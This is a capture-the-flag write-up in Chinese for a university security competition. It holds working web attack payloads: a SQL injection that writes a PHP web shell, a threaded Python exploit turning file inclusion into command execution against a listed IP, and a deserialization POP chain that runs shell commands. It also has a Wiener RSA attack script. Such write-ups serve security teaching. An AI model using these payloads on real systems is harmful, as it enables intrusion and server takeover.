河北师范大学信息安全挑战赛 - 初赛writup

不念不忘少年蓝@ 2024-04-07 10:44 74阅读 0赞

### WEB ###

#### mmmmd5d5d5d5 ####

链接打开页面

![image][]

绕过

?a[]=1&b[]=2

![image][image 1]

构造md5

<?php
    for($i = 0 ; $i <= 100000 ; $i ++)
    {
     if (substr(md5($i) , 5, 5) === "3ddc6")
     {
      echo $i;
      break;
     }
    }
    ?>

进入到下一层

![image][image 2]

提交

ffifdyop

得到：

<?php
    error_reporting(0);
    include "flag.php";
    
    highlight_file(__FILE__);
    
    if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
        echo $flag;
    }

![image][image 3]

构造payload：

param1[]=1&param2[]=2

即可得到flag

#### EDGnb(签到) ####

直接docker桌面版打开

![image][image 4]

即可得到flag

#### 时光塔的宝藏 ####

链接打开一个login框

![image][image 5]

构造payload：

pswd=admin&usname=admin' union select 1,"<?php eval($_POST[1]);?>" into outfile '/var/www/html/1203.php';#

![image][image 6]

蚁剑连1203.php，密码为1，即可得到flag

![image][image 7]

#### LFI\_to\_RCE ####

<?php
        show_source('./index.php');
        include $_GET['file'];
    ?>
    
    Warning: include(): Filename cannot be empty in /var/www/html/index.php on line 3
    
    Warning: include(): Failed opening '' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 3

贴上exp：

import requests
    import io
    import threading
    
    url = "http://81.70.102.209:10040/index.php"
    sessid = "21r000"
    
    def write(session):
        filebytes = io.BytesIO(b'a' * 1024 * 50)
        while True:
            res = session.post(url,
                data={
                    'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[1]);?>"
                    },
                cookies={
                    'PHPSESSID': sessid
                    },
                files={
                    'file': ('21r000.jpg', filebytes)
                    }
                )
    
    def read(session):
        while True:
            res = session.post(url+"?file=/tmp/sess_"+sessid,
                               data={
                                   "1":"system('ls /');"
                               },
                               cookies={
                                   "PHPSESSID":sessid
                               }
                               )
            if "etc" in res.text:
                print(res.text)
    
    
    
    if __name__ == "__main__":
        evnet = threading.Event()
        with requests.session() as session:
            for i in range(5):
                threading.Thread(target=write, args=(session,)).start()
            for i in range(5):
                threading.Thread(target=read, args=(session,)).start()
        evnet.set()

![image][image 8]

访问即可得到flag

#### unserialize ####

<?php
    error_reporting(0);
    include 'hint.php';
    class x{
        public $value;
        public $cc;
        function __wakeup(){
            die('fighting!!!');
        }
    }
    
    class a {
        public $nice;
        public function __destruct()
        {
            $this->nice = unserialize($this->nice);
            $this->nice->value = $fake;
            if($this->nice->value === $this->nice->cc)
                $this->test->good();
        }
    }
    
    class b {
        public $value;
        public $array;
        public function good(){
            if(is_array($this->array)){
                ($this->array)($this->value);
            }
            else{
                echo 'must_array';
            }
        }
    }
    
    class c {
        public $value;
        public function shell($func) {
            if(preg_match('/^[a-z0-9]*$/isD',$func)){
                die('y0u_A2e_HacKK!'); 
            }
            else{
                $func($this->value);
            }
        }
    }
    
    if (isset($_GET['pop'])) {
        $pop = base64_decode($_GET['pop']);
        unserialize($pop);
    } else {
        highlight_file(__FILE__);
    }

pop链问题把a：2改成a：3

?pop=TzoxOiJhIjozOntzOjQ6Im5pY2UiO3M6Mzc6Ik86MToieCI6Mjp7czo1OiJ2YWx1ZSI7TjtzOjI6ImNjIjtOO30iO3M6NDoidGVzdCI7TzoxOiJiIjoyOntzOjU6InZhbHVlIjtzOjc6IlxzeXN0ZW0iO3M6NToiYXJyYXkiO2E6Mjp7aTowO086MToiYyI6MTp7czo1OiJ2YWx1ZSI7czo5OiJjYXQgL2ZsYWciO31pOjE7czo1OiJzaGVsbCI7fX19

贴上poc

<?php
    class x{
        public $value;
        public $cc;
    	public function __construct()
    	{
    		$this->value = $fake;
    		$this->cc = $fake;
    	}
        function __wakeup(){
            die('fighting!!!');
        }
    }
    
    class a {
        public $nice;
    	public function __construct()
    	{
    		$this->nice = serialize(new x());
    		$this->test = new b();
    	}
        public function __destruct()
        {
            $this->nice = unserialize($this->nice);
            $this->nice->value = $fake;
            if($this->nice->value === $this->nice->cc)
                $this->test->good();
        }
    }
    
    class b {
        public $value = "\system";
        public $array ;
    	public function __construct()
    	{
    		$this->array = [new c(), 'shell'];
    	}
        public function good(){
            if(is_array($this->array)){
                ($this->array)($this->value);
            }
            else{
                echo 'must_array';
            }
        }
    }
    
    class c {
        public $value = "cat /flag";
        public function shell($func) {
            if(preg_match('/^[a-z0-9]*$/isD',$func)){
                die('y0u_A2e_HacKK!'); 
            }
            else{
                $func($this->value);
            }
        }
    }
    
    $a = new a();
    echo serialize($a);
    echo "<br>";
    echo base64_encode(serialize($a));
    
    ?>

### misc ###

#### 快来公众号ya ####

![image][image 9]

扫码即可

#### JamesHarden ####

附件下载解压后修改文件后缀，加上.zip后解压文件是是一个.class文件：

![image][image 10]

对URPGS\{Jr1p0zr\_G0\_U3pg6\_!\}进行rot13解密得到flag：

![image][image 11]

#### 捉迷藏 ####

附件打开文件为一个word文档

![image][image 12]

根据文字提示，将作文内容字体大小改为12

发现为jsfuck加密

![image][image 13]

[http://codertab.com/JsUnFuck在线网站中解密][http_codertab.com_JsUnFuck]

解密得到flag

![image][image 14]

#### 迷途的狗狗 ####

附件打开

![image][image 15]

打开迷途的狗狗文件夹

![image][image 16]

压缩包中有一张图片，但是需要密码

在ziperello中使用暴力破击，字符集设定为数字

![image][image 17]

![image][image 18]

得到密码为142345，成功解压文件得到一张图片

![image][image 19]

在kali中使用binwalk分析文件内容

![image][image 20]

发现隐藏图片中隐藏了一个jpg文件

使用foremost分离文件

![image][image 21]

第二张图片中显示flag

![image][image 22]

#### snake ####

玩到6000分给了个提示

![image][image 23]

溯源找到源码

![image][image 24]

重新修改show\_text函数

![image][image 25]

![image][image 26]

进行pyinstaller反打包后有个snake.pyc，pyc反编译成py后就是它的源码

![image][image 27]

![image][image 28]

得到flag：

![image][image 29]

#### 问卷调查 ####

简简单单签个退吧就，下次继续。

### crypto ###

#### 签到 ####

附件打开

![image][image 30]

与佛论禅解密得到一串base64密文

SkJDVUdWQ0dQTlRXNjMzRUw1V0hLWTNMTDVURzY0UzdQRlhYSzdJPQ==

解密后再base32解密得到flag：

![image][image 31]

#### RSA\_e\_n ####

附件：

![image][image 32]

rsa中的e,n,c解密，直接上脚本：

import gmpy2
    import RSAwienerHacker
    
    e = 0x14b367bf01efd4dc667b8e62975479c612c96e78f7f1f55242b2973c882ddcb33a65c52174d8ae1273764ce429054ea3f2fdc38ff205443c92ef4198739f05aa11fc10d3fc6ff30c8f5f05a04f43e3d8fc9bfffe916b2e0360560a162729e91b7775bda70177e0f875626e0a81bd4eacea9948b02232a82659f8d9aa9b4c754f
    n = 0x75be564267f8bf6c2038dd0cadfeecbc3158acfc27e679dd0bdb0db0e90bd5198a0a7edc0626f357a2d75f3c37ede045b7f7ca6bda79e5bf6fc0aea0aa7beda587388599d2b77b538fc3e666784493ffaf731e2ae232e8e9e9f9f2a4df25c19b7680f5bf6c485bd87923f01c17d8ec35438772c28e361774e6e7681d67ecbe19
    c = 10127659956533419108589656976567211166527205183773088147543122705230809548550336271584049969380709512046523116316965506372940655242616078713681678662841367955124154879878984026023241163358487655249424233120021240245459984899558747887087199609289148343740081670749999484769650710161617077523656215330005636913
    #爆破d
    d = RSAwienerHacker.hack_RSA(e,n)
    print(d)
    m = gmpy2.powmod(c,d,n)
    import binascii
    print(binascii.unhexlify(hex(m)[2:]))

解得flag：

![image][image 33]

#### Tool ####

附件：

![image][image 34]

看上去是一串乱码，但是不难看出是维吉尼亚，直接丢在线网站得到key

![image][image 35]

根据恢复后的最后一段提示：

Well, you already know that thisis Virginia encryption, but unfortunately, the ultimate goal is not to get plaintext, but to get the key. For the flag of this question, you need to add an underscore in the middle of the key, and then add the flag standard format to it, and you can submit it.

在中间加入下划线即可得到flag

#### encode ####

附件：

![image][image 36]

emoji表情加密，直接在线解，得到：

复制代码

*  1

`你好呀，送你串字符吧:ɯlxɹƃluʌ‾ʌdɹo‾ɟlq‾lʍ : dǝʇs ʇsɐl`

文本倒序得到下一步：

![image][image 37]

根据题目提示《逾越节的阴谋》

![image][image 38]

可以知道是埃特巴什密码，解码后即可得到flag。

![image][image 39]

出题人flag改慢了emmmmm，血没了，暴打出题人。

### re ###

#### hard ####

附件文本格式打卡，直接搜HECTF即可

![image][image 40]

### pwn ###

#### 签到 ####

用wirshark追踪tcp流

![image][image 41]

来源： [https://www.cnblogs.com/21r000/p/15553844.html\#%E7%AD%BE%E5%88%B0-1][https_www.cnblogs.com_21r000_p_15553844.html_E7_AD_BE_E5_88_B0-1]

[image]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/7e042b30aec442b28fc9377af58a1f28.png
[image 1]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/ef52101a89b04bb894183fdae14f7236.png
[image 2]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/61327987485b4ff485920d18b032afd6.png
[image 3]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/90ca947586194f3c84ad898b113b402a.png
[image 4]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/cb58fad095a145e68fc0c69eb2f3f855.png
[image 5]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/51a052f97fc94d509a18312389199b1a.png
[image 6]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/e5bf03b559bf448d89cbe2eb62a58eb1.png
[image 7]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/d8d43354d9fa403f8a01a3cec1dcf4b0.png
[image 8]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/9bba65628998407a8c2d1a564fc3aa4b.png
[image 9]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/bfac878972ce434ca149db40ffba0f6b.png
[image 10]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/86e742cb22ce43dd82069c4ca73a1b81.png
[image 11]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/ead98982c09f4a5c9c3b0aa87f9b2e1c.png
[image 12]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/0dde4c28ac1d49d6b7d3ede8c76a2f3c.png
[image 13]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/3ed1576670614cca876f737e76161974.png
[http_codertab.com_JsUnFuck]: http://codertab.com/JsUnFuck%E5%9C%A8%E7%BA%BF%E7%BD%91%E7%AB%99%E4%B8%AD%E8%A7%A3%E5%AF%86
[image 14]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/b540029606f845cfbd2b567886898da1.png
[image 15]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/feb71a50854340288c07c51e47aa574d.png
[image 16]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/5b9a1e25b42046d6a6b8b515e26de0ca.png
[image 17]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/56e5aeed129d46549c23a01ac1447104.png
[image 18]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/4f2e3af36b9b4c0ea0928acf8f48fae0.png
[image 19]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/074b14aae95b44f789b7d7b49c058e28.png
[image 20]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/0c4859f7613a4773b7bd07d5e87d3696.png
[image 21]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/27bf722b211c4fd292928766f4174811.png
[image 22]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/c4cee5fff75b4f17ace9a98ee9e69205.png
[image 23]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/92a25ee7c8a94e79affdecc5e500fa6a.png
[image 24]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/71e945ca5715412eb882b266e61241e6.png
[image 25]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/48e5bfc971ee46aebd726ff42d5418d7.png
[image 26]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/c923e041408b4b6cad2ab03bbdfaaad4.png
[image 27]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/3ca30344235f4504b5ff4ce6fb6113cd.png
[image 28]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/6ab8d2d77dad44578d6df6578d590947.png
[image 29]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/41474249dcf54cb895c0fb00701613b8.png
[image 30]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/9bf9950d61c14d42a397774101bc5c82.png
[image 31]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/2b122587564442a5a39d1caf49f743ac.png
[image 32]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/ca5b360f42dc4e13819128134a572aea.png
[image 33]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/c3fc8c8f94df42d88896cdb44079d5e9.png
[image 34]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/504d8fb761f54d28946a41b725ac935e.png
[image 35]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/27613e1f8ee74776a32e39ad2750b730.png
[image 36]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/39874b3e360046d29a4d989fae752d4f.png
[image 37]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/4319361ce4b14a8eb99b27c410834b98.png
[image 38]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/389b7d212f7c480780f3e135f6d42ee1.png
[image 39]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/aadcb9aa74be45aeadc2c175c1ed638d.png
[image 40]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/84f874a568a24720a01badf8627195a0.png
[image 41]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/534c61e060884df79fe4b632a9cf888b.png
[https_www.cnblogs.com_21r000_p_15553844.html_E7_AD_BE_E5_88_B0-1]: https://www.cnblogs.com/21r000/p/15553844.html#%E7%AD%BE%E5%88%B0-1